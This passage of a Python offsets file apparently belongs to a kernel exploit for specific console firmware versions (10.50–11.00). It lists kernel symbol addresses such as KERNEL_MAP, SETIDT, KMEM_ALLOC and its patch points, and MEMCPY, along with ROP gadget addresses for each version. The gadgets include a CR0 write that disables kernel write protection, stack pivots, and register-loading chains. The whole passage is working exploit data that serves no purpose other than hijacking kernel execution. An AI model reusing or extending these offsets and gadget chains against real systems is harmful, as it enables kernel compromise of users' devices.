MOV_CR0_RSI_UD2_MOV_EAX_1_RET = 0xffffffff82376089
SECOND_GADGET_OFF = 0x3b
# 0xffffffff82249c5d : jmp qword ptr [rsi + 0x3b]
FIRST_GADGET = 0xffffffff82249c5d
# 0xffffffff82c73946 : push rbp ; jmp qword ptr [rsi]
PUSH_RBP_JMP_QWORD_PTR_RSI = 0xffffffff82c73946
# 0xffffffff82545741 : pop rbx ; pop r14 ; pop rbp ; jmp qword ptr [rsi + 0x10]
POP_RBX_POP_R14_POP_RBP_JMP_QWORD_PTR_RSI_10 = 0xffffffff82545741
# 0xffffffff8292b346 : lea rsp, [rsi + 0x20] ; repz ret
LEA_RSP_RSI_20_REPZ_RET = 0xffffffff8292b346
# 0xffffffff826d0d0a : add rsp, 0x28 ; pop rbp ; ret
ADD_RSP_28_POP_RBP_RET = 0xffffffff826d0d0a
# 0xffffffff82531c3f : add rsp, 0xb0 ; pop rbp ; ret
ADD_RSP_B0_POP_RBP_RET = 0xffffffff82531c3f
# 0xffffffff822008e0 : ret
RET = 0xffffffff822008e0
# 0xffffffff82510c4e : pop rdi ; ret
POP_RDI_RET = 0xffffffff82510c4e
# 0xffffffff822983e0 : pop rsi ; ret
POP_RSI_RET = 0xffffffff822983e0
# 0xffffffff824029b2 : pop rdx ; ret
POP_RDX_RET = 0xffffffff824029b2
# 0xffffffff822983ba : pop rcx ; ret
POP_RCX_RET = 0xffffffff822983ba
# 0xffffffff8237dd7d : pop r8 ; pop rbp ; ret
POP_R8_POP_RBP_RET = 0xffffffff8237dd7d
# 0xffffffff827b32ef : pop r12 ; ret
POP_R12_RET = 0xffffffff827b32ef
# 0xffffffff8229974f : pop rax ; ret
POP_RAX_RET = 0xffffffff8229974f
# 0xffffffff822008df : pop rbp ; ret
POP_RBP_RET = 0xffffffff822008df
# 0xffffffff82bb3ee6 : push rsp ; pop rsi ; ret
PUSH_RSP_POP_RSI_RET = 0xffffffff82bb3ee6
# 0xffffffff8256bfb0 : mov rdi, qword ptr [rdi] ; pop rbp ; jmp rax
MOV_RDI_QWORD_PTR_RDI_POP_RBP_JMP_RAX = 0xffffffff8256bfb0
# 0xffffffff824f0448 : mov byte ptr [rcx], al ; ret
MOV_BYTE_PTR_RCX_AL_RET = 0xffffffff824f0448
# 0xffffffff8236bbec : mov rdi, rbx ; call r12
MOV_RDI_RBX_CALL_R12 = 0xffffffff8236bbec
# 0xffffffff8236ba27 : mov rdi, r14 ; call r12
MOV_RDI_R14_CALL_R12 = 0xffffffff8236ba27
# 0xffffffff823f501e : mov rsi, rbx ; call rax
MOV_RSI_RBX_CALL_RAX = 0xffffffff823f501e
# 0xffffffff8259e638 : mov r14, rax ; call r8
MOV_R14_RAX_CALL_R8 = 0xffffffff8259e638
# 0xffffffff82cb3b3a : add rdi, rcx ; ret
ADD_RDI_RCX_RET = 0xffffffff82cb3b3a
# 0xffffffff822bfa87 : sub rsi, rdx ; mov rax, rsi ; pop rbp ; ret
SUB_RSI_RDX_MOV_RAX_RSI_POP_RBP_RET = 0xffffffff822bfa87
# 0xffffffff8280346f : jmp r14
JMP_R14 = 0xffffffff8280346f
# FW 10.50 / 10.70 / 10.71
class OffsetsFirmware_1050_1071:
PPPOE_SOFTC_LIST = 0xffffffff844514b8
KERNEL_MAP = 0xffffffff844a9250
SETIDT = 0xffffffff82341470
KMEM_ALLOC = 0xffffffff82628960
KMEM_ALLOC_PATCH1 = 0xffffffff82628a2c
KMEM_ALLOC_PATCH2 = 0xffffffff82628a34
MEMCPY = 0xffffffff822d7370
MOV_CR0_RSI_UD2_MOV_EAX_1_RET = 0xffffffff82285f39
SECOND_GADGET_OFF = 0x3b
# 0xffffffff8221cb8d : jmp qword ptr [rsi + 0x3b]
FIRST_GADGET = 0xffffffff8221cb8d
# 0xffffffff82c74cd6 : push rbp ; jmp qword ptr [rsi]
PUSH_RBP_JMP_QWORD_PTR_RSI = 0xffffffff82c74cd6
# 0xffffffff824a4981 : pop rbx ; pop r14 ; pop rbp ; jmp qword ptr [rsi + 0x10]
POP_RBX_POP_R14_POP_RBP_JMP_QWORD_PTR_RSI_10 = 0xffffffff824a4981
# 0xffffffff82921206 : lea rsp, [rsi + 0x20] ; repz ret
LEA_RSP_RSI_20_REPZ_RET = 0xffffffff82921206
# 0xffffffff826c493a : add rsp, 0x28 ; pop rbp ; ret
ADD_RSP_28_POP_RBP_RET = 0xffffffff826c493a
# 0xffffffff822ce1af : add rsp, 0xb0 ; pop rbp ; ret
ADD_RSP_B0_POP_RBP_RET = 0xffffffff822ce1af
# 0xffffffff822008e0 : ret
RET = 0xffffffff822008e0
# 0xffffffff8236f38f : pop rdi ; ret
POP_RDI_RET = 0xffffffff8236f38f
# 0xffffffff82222d59 : pop rsi ; ret
POP_RSI_RET = 0xffffffff82222d59
# 0xffffffff82329bb2 : pop rdx ; ret
POP_RDX_RET = 0xffffffff82329bb2
# 0xffffffff8225a567 : pop rcx ; ret
POP_RCX_RET = 0xffffffff8225a567
# 0xffffffff822234fd : pop r8 ; pop rbp ; ret
POP_R8_POP_RBP_RET = 0xffffffff822234fd
# 0xffffffff827aa3ef : pop r12 ; ret
POP_R12_RET = 0xffffffff827aa3ef
# 0xffffffff82495c08 : pop rax ; ret
POP_RAX_RET = 0xffffffff82495c08
# 0xffffffff822008df : pop rbp ; ret
POP_RBP_RET = 0xffffffff822008df
# 0xffffffff82bb5092 : push rsp ; pop rsi ; ret
PUSH_RSP_POP_RSI_RET = 0xffffffff82bb5092
# 0xffffffff8256d4d0 : mov rdi, qword ptr [rdi] ; pop rbp ; jmp rax
MOV_RDI_QWORD_PTR_RDI_POP_RBP_JMP_RAX = 0xffffffff8256d4d0
# 0xffffffff822a9078 : mov byte ptr [rcx], al ; ret
MOV_BYTE_PTR_RCX_AL_RET = 0xffffffff822a9078
# 0xffffffff8229113c : mov rdi, rbx ; call r12
MOV_RDI_RBX_CALL_R12 = 0xffffffff8229113c
# 0xffffffff82290f77 : mov rdi, r14 ; call r12
MOV_RDI_R14_CALL_R12 = 0xffffffff82290f77
# 0xffffffff8227e3ce : mov rsi, rbx ; call rax
MOV_RSI_RBX_CALL_RAX = 0xffffffff8227e3ce
# 0xffffffff824f95e8 : mov r14, rax ; call r8
MOV_R14_RAX_CALL_R8 = 0xffffffff824f95e8
# 0xffffffff82cb4eca : add rdi, rcx ; ret
ADD_RDI_RCX_RET = 0xffffffff82cb4eca
# 0xffffffff8220c1e7 : sub rsi, rdx ; mov rax, rsi ; pop rbp ; ret
SUB_RSI_RDX_MOV_RAX_RSI_POP_RBP_RET = 0xffffffff8220c1e7
# 0xffffffff82b83a5b : jmp r14
JMP_R14 = 0xffffffff82b83a5b
# FW 11.00
class OffsetsFirmware_1100:
PPPOE_SOFTC_LIST = 0xffffffff844e2578
KERNEL_MAP = 0xffffffff843ff130
SETIDT = 0xffffffff8245bdb0
KMEM_ALLOC = 0xffffffff82445e10
KMEM_ALLOC_PATCH1 = 0xffffffff82445edc
KMEM_ALLOC_PATCH2 = 0xffffffff82445ee4
MEMCPY = 0xffffffff824dddf0
# 0xffffffff824f1299 : mov cr0, rsi ; ud2 ; mov eax, 1 ; ret
MOV_CR0_RSI_UD2_MOV_EAX_1_RET = 0xffffffff824f1299
SECOND_GADGET_OFF = 0x3e
# 0xffffffff82eb1f97 : jmp qword ptr [rsi + 0x3e]
FIRST_GADGET = 0xffffffff82eb1f97
# 0xffffffff82c75166 : push rbp ; jmp qword ptr [rsi]
PUSH_RBP_JMP_QWORD_PTR_RSI = 0xffffffff82c75166
# 0xffffffff824b90e1 : pop rbx ; pop r14 ; pop rbp ; jmp qword ptr [rsi + 0x10]
POP_RBX_POP_R14_POP_RBP_JMP_QWORD_PTR_RSI_10 = 0xffffffff824b90e1
# 0xffffffff8293c8c6 : lea rsp, [rsi + 0x20] ; repz ret
LEA_RSP_RSI_20_REPZ_RET = 0xffffffff8293c8c6
# 0xffffffff826cb2da : add rsp, 0x28 ; pop rbp ; ret
ADD_RSP_28_POP_RBP_RET = 0xffffffff826cb2da
# 0xffffffff824cdd5f : add rsp, 0xb0 ; pop rbp ; ret
ADD_RSP_B0_POP_RBP_RET = 0xffffffff824cdd5f
# 0xffffffff822007e4 : ret
RET = 0xffffffff822007e4
# 0xffffffff825f38ed : pop rdi ; ret
POP_RDI_RET = 0xffffffff825f38ed
# 0xffffffff8224a6a9 : pop rsi ; ret
POP_RSI_RET = 0xffffffff8224a6a9
# 0xffffffff822a4762 : pop rdx ; ret
POP_RDX_RET = 0xffffffff822a4762
# 0xffffffff8221170a : pop rcx ; ret
POP_RCX_RET = 0xffffffff8221170a
# 0xffffffff8224ae4d : pop r8 ; pop rbp ; ret
POP_R8_POP_RBP_RET = 0xffffffff8224ae4d
# 0xffffffff8279faaf : pop r12 ; ret
POP_R12_RET = 0xffffffff8279faaf
# 0xffffffff8221172e : pop rax ; ret
POP_RAX_RET = 0xffffffff8221172e
# 0xffffffff822008df : pop rbp ; ret
POP_RBP_RET = 0xffffffff822008df
# 0xffffffff82bb5c7a : push rsp ; pop rsi ; ret
PUSH_RSP_POP_RSI_RET = 0xffffffff82bb5c7a
# 0xffffffff823ce260 : mov rdi, qword ptr [rdi] ; pop rbp ; jmp rax
MOV_RDI_QWORD_PTR_RDI_POP_RBP_JMP_RAX = 0xffffffff823ce260
# 0xffffffff8236ae58 : mov byte ptr [rcx], al ; ret
MOV_BYTE_PTR_RCX_AL_RET = 0xffffffff8236ae58
# 0xffffffff8233426c : mov rdi, rbx ; call r12
MOV_RDI_RBX_CALL_R12 = 0xffffffff8233426c
# 0xffffffff823340a7 : mov rdi, r14 ; call r12
MOV_RDI_R14_CALL_R12 = 0xffffffff823340a7
# 0xffffffff82512dce : mov rsi, rbx ; call rax
MOV_RSI_RBX_CALL_RAX = 0xffffffff82512dce
# 0xffffffff82624df8 : mov r14, rax ; call r8
MOV_R14_RAX_CALL_R8 = 0xffffffff82624df8
# 0xffffffff82cb535a : add rdi, rcx ; ret
ADD_RDI_RCX_RET = 0xffffffff82cb535a
# 0xffffffff8260f297 : sub rsi, rdx ; mov rax, rsi ; pop rbp ; ret
SUB_RSI_RDX_MOV_RAX_RSI_POP_RBP_RET = 0xffffffff8260f297
# 0xffffffff82b84657 : jmp r14
JMP_R14 = 0xffffffff82b84657